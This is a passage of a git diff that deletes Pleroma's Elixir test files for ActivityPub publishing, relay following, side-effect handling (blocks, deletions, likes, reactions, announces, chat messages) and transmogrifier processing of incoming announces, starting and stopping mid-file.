{:ok, _} = Publisher.publish_one(%{inbox: inbox, json: "{}", actor: actor, id: 1}) - - refute called(Instances.set_unreachable(inbox)) - end - - test_with_mock "does NOT call `Instances.set_unreachable` if target instance has non-nil `unreachable_since`", - Instances, - [:passthrough], - [] do - actor = insert(:user) - inbox = "http://connrefused.site/users/nick1/inbox" - - assert capture_log(fn -> - assert {:error, _} = - Publisher.publish_one(%{ - inbox: inbox, - json: "{}", - actor: actor, - id: 1, - unreachable_since: NaiveDateTime.utc_now() - }) - end) =~ "connrefused" - - refute called(Instances.set_unreachable(inbox)) - end - end - - describe "publish/2" do - test_with_mock "publishes an activity with BCC to all relevant peers.", - Pleroma.Web.Federator.Publisher, - [:passthrough], - [] do - follower = - insert(:user, %{ - local: false, - inbox: "https://domain.com/users/nick1/inbox", - ap_enabled: true - }) - - actor = insert(:user, follower_address: follower.ap_id) - user = insert(:user) - - {:ok, _follower_one} = Pleroma.User.follow(follower, actor) - actor = refresh_record(actor) - - note_activity = - insert(:note_activity, - recipients: [follower.ap_id], - data_attrs: %{"bcc" => [user.ap_id]} - ) - - res = Publisher.publish(actor, note_activity) - assert res == :ok - - assert called( - Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ - inbox: "https://domain.com/users/nick1/inbox", - actor_id: actor.id, - id: note_activity.data["id"] - }) - ) - end - - test_with_mock "publishes a delete activity to peers who signed fetch requests to the create acitvity/object.", - Pleroma.Web.Federator.Publisher, - [:passthrough], - [] do - fetcher = - insert(:user, - local: false, - inbox: "https://domain.com/users/nick1/inbox", - ap_enabled: true - ) - - another_fetcher = - insert(:user, - local: false, - inbox: "https://domain2.com/users/nick1/inbox", - ap_enabled: true - ) - - actor = insert(:user) - - note_activity = insert(:note_activity, user: actor) - object = Object.normalize(note_activity) - - activity_path = String.trim_leading(note_activity.data["id"], Pleroma.Web.Endpoint.url()) - object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, fetcher) - |> get(object_path) - |> json_response(200) - - build_conn() - |> put_req_header("accept", "application/activity+json") - |> assign(:user, another_fetcher) - |> get(activity_path) - |> json_response(200) - - {:ok, delete} = CommonAPI.delete(note_activity.id, actor) - - res = Publisher.publish(actor, delete) - assert res == :ok - - assert called( - Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ - inbox: "https://domain.com/users/nick1/inbox", - actor_id: actor.id, - id: delete.data["id"] - }) - ) - - assert called( - Pleroma.Web.Federator.Publisher.enqueue_one(Publisher, %{ - inbox: "https://domain2.com/users/nick1/inbox", - actor_id: actor.id, - id: delete.data["id"] - }) - ) - end - end -end diff --git a/test/web/activity_pub/relay_test.exs b/test/web/activity_pub/relay_test.exs deleted file mode 100644 index 3284980f7..000000000 --- a/test/web/activity_pub/relay_test.exs +++ /dev/null @@ -1,168 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.RelayTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Relay - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Pleroma.Factory - import Mock - - test "gets an actor for the relay" do - user = Relay.get_actor() - assert user.ap_id == "#{Pleroma.Web.Endpoint.url()}/relay" - end - - test "relay actor is invisible" do - user = Relay.get_actor() - assert User.invisible?(user) - end - - describe "follow/1" do - test "returns errors when user not found" do - assert capture_log(fn -> - {:error, _} = Relay.follow("test-ap-id") - end) =~ "Could not decode user at fetch" - end - - test "returns activity" do - user = insert(:user) - service_actor = Relay.get_actor() - assert {:ok, %Activity{} = activity} = Relay.follow(user.ap_id) - assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" - assert user.ap_id in activity.recipients - assert activity.data["type"] == "Follow" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["object"] == user.ap_id - end - end - - describe "unfollow/1" do - test "returns errors when user not found" do - assert capture_log(fn -> - {:error, _} = Relay.unfollow("test-ap-id") - end) =~ "Could not decode user at fetch" - end - - test "returns activity" do - user = insert(:user) - service_actor = Relay.get_actor() - CommonAPI.follow(service_actor, user) - assert "#{user.ap_id}/followers" in User.following(service_actor) - assert {:ok, %Activity{} = activity} = Relay.unfollow(user.ap_id) - assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" - assert user.ap_id in activity.recipients - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["to"] == [user.ap_id] - refute "#{user.ap_id}/followers" in User.following(service_actor) - end - - test "force unfollow when target service is dead" do - user = insert(:user) - user_ap_id = user.ap_id - user_id = user.id - - Tesla.Mock.mock(fn %{method: :get, url: ^user_ap_id} -> - %Tesla.Env{status: 404} - end) - - service_actor = Relay.get_actor() - CommonAPI.follow(service_actor, user) - assert "#{user.ap_id}/followers" in User.following(service_actor) - - assert Pleroma.Repo.get_by( - Pleroma.FollowingRelationship, - follower_id: service_actor.id, - following_id: user_id - ) - - Pleroma.Repo.delete(user) - Cachex.clear(:user_cache) - - assert {:ok, %Activity{} = activity} = Relay.unfollow(user_ap_id, %{force: true}) - - assert refresh_record(service_actor).following_count == 0 - - refute Pleroma.Repo.get_by( - Pleroma.FollowingRelationship, - follower_id: service_actor.id, - following_id: user_id - ) - - assert activity.actor == "#{Pleroma.Web.Endpoint.url()}/relay" - assert user.ap_id in activity.recipients - assert activity.data["type"] == "Undo" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["to"] == [user_ap_id] - refute "#{user.ap_id}/followers" in User.following(service_actor) - end - end - - describe "publish/1" do - setup do: clear_config([:instance, :federating]) - - test "returns error when activity not `Create` type" do - activity = insert(:like_activity) - assert Relay.publish(activity) == {:error, "Not implemented"} - end - - @tag capture_log: true - test "returns error when activity not public" do - activity = insert(:direct_note_activity) - assert Relay.publish(activity) == {:error, false} - end - - test "returns error when object is unknown" do - activity = - insert(:note_activity, - data: %{ - "type" => "Create", - "object" => "http://mastodon.example.org/eee/99541947525187367" - } - ) - - Tesla.Mock.mock(fn - %{method: :get, url: "http://mastodon.example.org/eee/99541947525187367"} -> - %Tesla.Env{status: 500, body: ""} - end) - - assert capture_log(fn -> - assert Relay.publish(activity) == {:error, false} - end) =~ "[error] error: false" - end - - test_with_mock "returns announce activity and publish to federate", - Pleroma.Web.Federator, - [:passthrough], - [] do - clear_config([:instance, :federating], true) - service_actor = Relay.get_actor() - note = insert(:note_activity) - assert {:ok, %Activity{} = activity} = Relay.publish(note) - assert activity.data["type"] == "Announce" - assert activity.data["actor"] == service_actor.ap_id - assert activity.data["to"] == [service_actor.follower_address] - assert called(Pleroma.Web.Federator.publish(activity)) - end - - test_with_mock "returns announce activity and not publish to federate", - Pleroma.Web.Federator, - [:passthrough], - [] do - clear_config([:instance, :federating], false) - service_actor = Relay.get_actor() - note = insert(:note_activity) - assert {:ok, %Activity{} = activity} = Relay.publish(note) - assert activity.data["type"] == "Announce" - assert activity.data["actor"] == service_actor.ap_id - refute called(Pleroma.Web.Federator.publish(activity)) - end - end -end diff --git a/test/web/activity_pub/side_effects_test.exs b/test/web/activity_pub/side_effects_test.exs deleted file mode 100644 index 9efbaad04..000000000 --- a/test/web/activity_pub/side_effects_test.exs +++ /dev/null @@ -1,639 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.SideEffectsTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Notification - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.SideEffects - alias Pleroma.Web.CommonAPI - - import ExUnit.CaptureLog - import Mock - import Pleroma.Factory - - describe "handle_after_transaction" do - test "it streams out notifications and streams" do - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - assert [notification] = meta[:notifications] - - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> nil end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - SideEffects.handle_after_transaction(meta) - - assert called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) - assert called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) - assert called(Pleroma.Web.Push.send(notification)) - end - end - end - - describe "blocking users" do - setup do - user = insert(:user) - blocked = insert(:user) - User.follow(blocked, user) - User.follow(user, blocked) - - {:ok, block_data, []} = Builder.block(user, blocked) - {:ok, block, _meta} = ActivityPub.persist(block_data, local: true) - - %{user: user, blocked: blocked, block: block} - end - - test "it unfollows and blocks", %{user: user, blocked: blocked, block: block} do - assert User.following?(user, blocked) - assert User.following?(blocked, user) - - {:ok, _, _} = SideEffects.handle(block) - - refute User.following?(user, blocked) - refute User.following?(blocked, user) - assert User.blocks?(user, blocked) - end - - test "it blocks but does not unfollow if the relevant setting is set", %{ - user: user, - blocked: blocked, - block: block - } do - clear_config([:activitypub, :unfollow_blocked], false) - assert User.following?(user, blocked) - assert User.following?(blocked, user) - - {:ok, _, _} = SideEffects.handle(block) - - refute User.following?(user, blocked) - assert User.following?(blocked, user) - assert User.blocks?(user, blocked) - end - end - - describe "update users" do - setup do - user = insert(:user) - {:ok, update_data, []} = Builder.update(user, %{"id" => user.ap_id, "name" => "new name!"}) - {:ok, update, _meta} = ActivityPub.persist(update_data, local: true) - - %{user: user, update_data: update_data, update: update} - end - - test "it updates the user", %{user: user, update: update} do - {:ok, _, _} = SideEffects.handle(update) - user = User.get_by_id(user.id) - assert user.name == "new name!" - end - - test "it uses a given changeset to update", %{user: user, update: update} do - changeset = Ecto.Changeset.change(user, %{default_scope: "direct"}) - - assert user.default_scope == "public" - {:ok, _, _} = SideEffects.handle(update, user_update_changeset: changeset) - user = User.get_by_id(user.id) - assert user.default_scope == "direct" - end - end - - describe "delete objects" do - setup do - user = insert(:user) - other_user = insert(:user) - - {:ok, op} = CommonAPI.post(other_user, %{status: "big oof"}) - {:ok, post} = CommonAPI.post(user, %{status: "hey", in_reply_to_id: op}) - {:ok, favorite} = CommonAPI.favorite(user, post.id) - object = Object.normalize(post) - {:ok, delete_data, _meta} = Builder.delete(user, object.data["id"]) - {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) - {:ok, delete, _meta} = ActivityPub.persist(delete_data, local: true) - {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) - - %{ - user: user, - delete: delete, - post: post, - object: object, - delete_user: delete_user, - op: op, - favorite: favorite - } - end - - test "it handles object deletions", %{ - delete: delete, - post: post, - object: object, - user: user, - op: op, - favorite: favorite - } do - with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], - stream_out: fn _ -> nil end, - stream_out_participations: fn _, _ -> nil end do - {:ok, delete, _} = SideEffects.handle(delete) - user = User.get_cached_by_ap_id(object.data["actor"]) - - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) - end - - object = Object.get_by_id(object.id) - assert object.data["type"] == "Tombstone" - refute Activity.get_by_id(post.id) - refute Activity.get_by_id(favorite.id) - - user = User.get_by_id(user.id) - assert user.note_count == 0 - - object = Object.normalize(op.data["object"], false) - - assert object.data["repliesCount"] == 0 - end - - test "it handles object deletions when the object itself has been pruned", %{ - delete: delete, - post: post, - object: object, - user: user, - op: op - } do - with_mock Pleroma.Web.ActivityPub.ActivityPub, [:passthrough], - stream_out: fn _ -> nil end, - stream_out_participations: fn _, _ -> nil end do - {:ok, delete, _} = SideEffects.handle(delete) - user = User.get_cached_by_ap_id(object.data["actor"]) - - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out(delete)) - assert called(Pleroma.Web.ActivityPub.ActivityPub.stream_out_participations(object, user)) - end - - object = Object.get_by_id(object.id) - assert object.data["type"] == "Tombstone" - refute Activity.get_by_id(post.id) - - user = User.get_by_id(user.id) - assert user.note_count == 0 - - object = Object.normalize(op.data["object"], false) - - assert object.data["repliesCount"] == 0 - end - - test "it handles user deletions", %{delete_user: delete, user: user} do - {:ok, _delete, _} = SideEffects.handle(delete) - ObanHelpers.perform_all() - - assert User.get_cached_by_ap_id(user.ap_id).deactivated - end - - test "it logs issues with objects deletion", %{ - delete: delete, - object: object - } do - {:ok, object} = - object - |> Object.change(%{data: Map.delete(object.data, "actor")}) - |> Repo.update() - - Object.invalid_object_cache(object) - - assert capture_log(fn -> - {:error, :no_object_actor} = SideEffects.handle(delete) - end) =~ "object doesn't have an actor" - end - end - - describe "EmojiReact objects" do - setup do - poster = insert(:user) - user = insert(:user) - - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - - {:ok, emoji_react_data, []} = Builder.emoji_react(user, post.object, "👌") - {:ok, emoji_react, _meta} = ActivityPub.persist(emoji_react_data, local: true) - - %{emoji_react: emoji_react, user: user, poster: poster} - end - - test "adds the reaction to the object", %{emoji_react: emoji_react, user: user} do - {:ok, emoji_react, _} = SideEffects.handle(emoji_react) - object = Object.get_by_ap_id(emoji_react.data["object"]) - - assert object.data["reaction_count"] == 1 - assert ["👌", [user.ap_id]] in object.data["reactions"] - end - - test "creates a notification", %{emoji_react: emoji_react, poster: poster} do - {:ok, emoji_react, _} = SideEffects.handle(emoji_react) - assert Repo.get_by(Notification, user_id: poster.id, activity_id: emoji_react.id) - end - end - - describe "delete users with confirmation pending" do - setup do - user = insert(:user, confirmation_pending: true) - {:ok, delete_user_data, _meta} = Builder.delete(user, user.ap_id) - {:ok, delete_user, _meta} = ActivityPub.persist(delete_user_data, local: true) - {:ok, delete: delete_user, user: user} - end - - test "when activation is not required", %{delete: delete, user: user} do - clear_config([:instance, :account_activation_required], false) - {:ok, _, _} = SideEffects.handle(delete) - ObanHelpers.perform_all() - - assert User.get_cached_by_id(user.id).deactivated - end - - test "when activation is required", %{delete: delete, user: user} do - clear_config([:instance, :account_activation_required], true) - {:ok, _, _} = SideEffects.handle(delete) - ObanHelpers.perform_all() - - refute User.get_cached_by_id(user.id) - end - end - - describe "Undo objects" do - setup do - poster = insert(:user) - user = insert(:user) - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - {:ok, like} = CommonAPI.favorite(user, post.id) - {:ok, reaction} = CommonAPI.react_with_emoji(post.id, user, "👍") - {:ok, announce} = CommonAPI.repeat(post.id, user) - {:ok, block} = CommonAPI.block(user, poster) - - {:ok, undo_data, _meta} = Builder.undo(user, like) - {:ok, like_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - {:ok, undo_data, _meta} = Builder.undo(user, reaction) - {:ok, reaction_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - {:ok, undo_data, _meta} = Builder.undo(user, announce) - {:ok, announce_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - {:ok, undo_data, _meta} = Builder.undo(user, block) - {:ok, block_undo, _meta} = ActivityPub.persist(undo_data, local: true) - - %{ - like_undo: like_undo, - post: post, - like: like, - reaction_undo: reaction_undo, - reaction: reaction, - announce_undo: announce_undo, - announce: announce, - block_undo: block_undo, - block: block, - poster: poster, - user: user - } - end - - test "deletes the original block", %{ - block_undo: block_undo, - block: block - } do - {:ok, _block_undo, _meta} = SideEffects.handle(block_undo) - - refute Activity.get_by_id(block.id) - end - - test "unblocks the blocked user", %{block_undo: block_undo, block: block} do - blocker = User.get_by_ap_id(block.data["actor"]) - blocked = User.get_by_ap_id(block.data["object"]) - - {:ok, _block_undo, _} = SideEffects.handle(block_undo) - refute User.blocks?(blocker, blocked) - end - - test "an announce undo removes the announce from the object", %{ - announce_undo: announce_undo, - post: post - } do - {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) - - object = Object.get_by_ap_id(post.data["object"]) - - assert object.data["announcement_count"] == 0 - assert object.data["announcements"] == [] - end - - test "deletes the original announce", %{announce_undo: announce_undo, announce: announce} do - {:ok, _announce_undo, _} = SideEffects.handle(announce_undo) - refute Activity.get_by_id(announce.id) - end - - test "a reaction undo removes the reaction from the object", %{ - reaction_undo: reaction_undo, - post: post - } do - {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) - - object = Object.get_by_ap_id(post.data["object"]) - - assert object.data["reaction_count"] == 0 - assert object.data["reactions"] == [] - end - - test "deletes the original reaction", %{reaction_undo: reaction_undo, reaction: reaction} do - {:ok, _reaction_undo, _} = SideEffects.handle(reaction_undo) - refute Activity.get_by_id(reaction.id) - end - - test "a like undo removes the like from the object", %{like_undo: like_undo, post: post} do - {:ok, _like_undo, _} = SideEffects.handle(like_undo) - - object = Object.get_by_ap_id(post.data["object"]) - - assert object.data["like_count"] == 0 - assert object.data["likes"] == [] - end - - test "deletes the original like", %{like_undo: like_undo, like: like} do - {:ok, _like_undo, _} = SideEffects.handle(like_undo) - refute Activity.get_by_id(like.id) - end - end - - describe "like objects" do - setup do - poster = insert(:user) - user = insert(:user) - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - - {:ok, like_data, _meta} = Builder.like(user, post.object) - {:ok, like, _meta} = ActivityPub.persist(like_data, local: true) - - %{like: like, user: user, poster: poster} - end - - test "add the like to the original object", %{like: like, user: user} do - {:ok, like, _} = SideEffects.handle(like) - object = Object.get_by_ap_id(like.data["object"]) - assert object.data["like_count"] == 1 - assert user.ap_id in object.data["likes"] - end - - test "creates a notification", %{like: like, poster: poster} do - {:ok, like, _} = SideEffects.handle(like) - assert Repo.get_by(Notification, user_id: poster.id, activity_id: like.id) - end - end - - describe "creation of ChatMessages" do - test "notifies the recipient" do - author = insert(:user, local: false) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, _meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - assert Repo.get_by(Notification, user_id: recipient.id, activity_id: create_activity.id) - end - - test "it streams the created ChatMessage" do - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - assert [_, _] = meta[:streamables] - end - - test "it creates a Chat and MessageReferences for the local users and bumps the unread count, except for the author" do - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> nil end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - {:ok, _create_activity, meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - # The notification gets created - assert [notification] = meta[:notifications] - assert notification.activity_id == create_activity.id - - # But it is not sent out - refute called(Pleroma.Web.Streamer.stream(["user", "user:notification"], notification)) - refute called(Pleroma.Web.Push.send(notification)) - - # Same for the user chat stream - assert [{topics, _}, _] = meta[:streamables] - assert topics == ["user", "user:pleroma_chat"] - refute called(Pleroma.Web.Streamer.stream(["user", "user:pleroma_chat"], :_)) - - chat = Chat.get(author.id, recipient.ap_id) - - [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() - - assert cm_ref.object.data["content"] == "hey" - assert cm_ref.unread == false - - chat = Chat.get(recipient.id, author.ap_id) - - [cm_ref] = MessageReference.for_chat_query(chat) |> Repo.all() - - assert cm_ref.object.data["content"] == "hey" - assert cm_ref.unread == true - end - end - - test "it creates a Chat for the local users and bumps the unread count" do - author = insert(:user, local: false) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, _meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - # An object is created - assert Object.get_by_ap_id(chat_message_data["id"]) - - # The remote user won't get a chat - chat = Chat.get(author.id, recipient.ap_id) - refute chat - - # The local user will get a chat - chat = Chat.get(recipient.id, author.ap_id) - assert chat - - author = insert(:user, local: true) - recipient = insert(:user, local: true) - - {:ok, chat_message_data, _meta} = Builder.chat_message(author, recipient.ap_id, "hey") - - {:ok, create_activity_data, _meta} = - Builder.create(author, chat_message_data["id"], [recipient.ap_id]) - - {:ok, create_activity, _meta} = ActivityPub.persist(create_activity_data, local: false) - - {:ok, _create_activity, _meta} = - SideEffects.handle(create_activity, local: false, object_data: chat_message_data) - - # Both users are local and get the chat - chat = Chat.get(author.id, recipient.ap_id) - assert chat - - chat = Chat.get(recipient.id, author.ap_id) - assert chat - end - end - - describe "announce objects" do - setup do - poster = insert(:user) - user = insert(:user) - {:ok, post} = CommonAPI.post(poster, %{status: "hey"}) - {:ok, private_post} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) - - {:ok, announce_data, _meta} = Builder.announce(user, post.object, public: true) - - {:ok, private_announce_data, _meta} = - Builder.announce(user, private_post.object, public: false) - - {:ok, relay_announce_data, _meta} = - Builder.announce(Pleroma.Web.ActivityPub.Relay.get_actor(), post.object, public: true) - - {:ok, announce, _meta} = ActivityPub.persist(announce_data, local: true) - {:ok, private_announce, _meta} = ActivityPub.persist(private_announce_data, local: true) - {:ok, relay_announce, _meta} = ActivityPub.persist(relay_announce_data, local: true) - - %{ - announce: announce, - user: user, - poster: poster, - private_announce: private_announce, - relay_announce: relay_announce - } - end - - test "adds the announce to the original object", %{announce: announce, user: user} do - {:ok, announce, _} = SideEffects.handle(announce) - object = Object.get_by_ap_id(announce.data["object"]) - assert object.data["announcement_count"] == 1 - assert user.ap_id in object.data["announcements"] - end - - test "does not add the announce to the original object if the actor is a service actor", %{ - relay_announce: announce - } do - {:ok, announce, _} = SideEffects.handle(announce) - object = Object.get_by_ap_id(announce.data["object"]) - assert object.data["announcement_count"] == nil - end - - test "creates a notification", %{announce: announce, poster: poster} do - {:ok, announce, _} = SideEffects.handle(announce) - assert Repo.get_by(Notification, user_id: poster.id, activity_id: announce.id) - end - - test "it streams out the announce", %{announce: announce} do - with_mocks([ - { - Pleroma.Web.Streamer, - [], - [ - stream: fn _, _ -> nil end - ] - }, - { - Pleroma.Web.Push, - [], - [ - send: fn _ -> nil end - ] - } - ]) do - {:ok, announce, _} = SideEffects.handle(announce) - - assert called( - Pleroma.Web.Streamer.stream(["user", "list", "public", "public:local"], announce) - ) - - assert called(Pleroma.Web.Push.send(:_)) - end - end - end -end diff --git a/test/web/activity_pub/transmogrifier/announce_handling_test.exs b/test/web/activity_pub/transmogrifier/announce_handling_test.exs deleted file mode 100644 index e895636b5..000000000 --- a/test/web/activity_pub/transmogrifier/announce_handling_test.exs +++ /dev/null @@ -1,172 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnnounceHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming honk announces" do - user = insert(:user, ap_id: "https://honktest/u/test", local: false) - other_user = insert(:user) - {:ok, post} = CommonAPI.post(other_user, %{status: "bonkeronk"}) - - announce = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://honktest/u/test", - "id" => "https://honktest/u/test/bonk/1793M7B9MQ48847vdx", - "object" => post.data["object"], - "published" => "2019-06-25T19:33:58Z", - "to" => "https://www.w3.org/ns/activitystreams#Public", - "type" => "Announce" - } - - {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(announce) - - object = Object.get_by_ap_id(post.data["object"]) - - assert length(object.data["announcements"]) == 1 - assert user.ap_id in object.data["announcements"] - end - - test "it works for incoming announces with actor being inlined (kroeg)" do - data = File.read!("test/fixtures/kroeg-announce-with-inline-actor.json") |> Poison.decode!() - - _user = insert(:user, local: false, ap_id: data["actor"]["id"]) - other_user = insert(:user) - - {:ok, post} = CommonAPI.post(other_user, %{status: "kroegeroeg"}) - - data = - data - |> put_in(["object", "id"], post.data["object"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "https://puckipedia.com/" - end - - test "it works for incoming announces, fetching the announced object" do - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", "http://mastodon.example.org/users/admin/statuses/99541947525187367") - - Tesla.Mock.mock(fn - %{method: :get} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/mastodon-note-object.json")} - end) - - _user = insert(:user, local: false, ap_id: data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Announce" - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - - assert data["object"] == - "http://mastodon.example.org/users/admin/statuses/99541947525187367" - - assert(Activity.get_create_by_object_ap_id(data["object"])) - end - - @tag capture_log: true - test "it works for incoming announces with an existing activity" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", activity.data["object"]) - - _user = insert(:user, local: false, ap_id: data["actor"]) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Announce" - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - - assert data["object"] == activity.data["object"] - - assert Activity.get_create_by_object_ap_id(data["object"]).id == activity.id - end - - # Ignore inlined activities for now - @tag skip: true - test "it works for incoming announces with an inlined activity" do - data = - File.read!("test/fixtures/mastodon-announce-private.json") - |> Poison.decode!() - - _user = - insert(:user, - local: false, - ap_id: data["actor"], - follower_address: data["actor"] <> "/followers" - ) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["actor"] == "http://mastodon.example.org/users/admin" - assert data["type"] == "Announce" - - assert data["id"] == - "http://mastodon.example.org/users/admin/statuses/99542391527669785/activity" - - object = Object.normalize(data["object"]) - - assert object.data["id"] == "http://mastodon.example.org/@admin/99541947525187368" - assert object.data["content"] == "this is a private toot" - end - - @tag capture_log: true - test "it rejects incoming announces with an inlined activity from another origin" do - Tesla.Mock.mock(fn - %{method: :get} -> %Tesla.Env{status: 404, body: ""} - end) - - data = - File.read!("test/fixtures/bogus-mastodon-announce.json") - |> Poison.decode!() - - _user = insert(:user, local: false, ap_id: data["actor"]) - - assert {:error, e} = Transmogrifier.handle_incoming(data) - end - - test "it does not clobber the addressing on announce activities" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hey"}) - - data = - File.read!("test/fixtures/mastodon-announce.json") - |> Poison.decode!() - |> Map.put("object", Object.normalize(activity).data["id"]) - |> Map.put("to", ["http://mastodon.example.org/users/admin/followers"]) - |> Map.put("cc", []) - - _user = - insert(:user, - local: false, - ap_id: data["actor"], - follower_address: "http://mastodon.example.org/users/admin/followers" - ) - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - assert data["to"] == ["http://mastodon.example.org/users/admin/followers"] - end -end diff --git a/test/web/activity_pub/transmogrifier/chat_message_test.exs b/test/web/activity_pub/transmogrifier/chat_message_test.exs deleted file mode 100644 index 31274c067..000000000 --- a/test/web/activity_pub/transmogrifier/chat_message_test.exs +++ /dev/null @@ -1,171 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.ChatMessageTest do - use Pleroma.DataCase - - import Pleroma.Factory - - alias Pleroma.Activity - alias Pleroma.Chat - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - - describe "handle_incoming" do - test "handles chonks with attachment" do - data = %{ - "@context" => "https://www.w3.org/ns/activitystreams", - "actor" => "https://honk.tedunangst.com/u/tedu", - "id" => "https://honk.tedunangst.com/u/tedu/honk/x6gt8X8PcyGkQcXxzg1T", - "object" => %{ - "attachment" => [ - %{ - "mediaType" => "image/jpeg", - "name" => 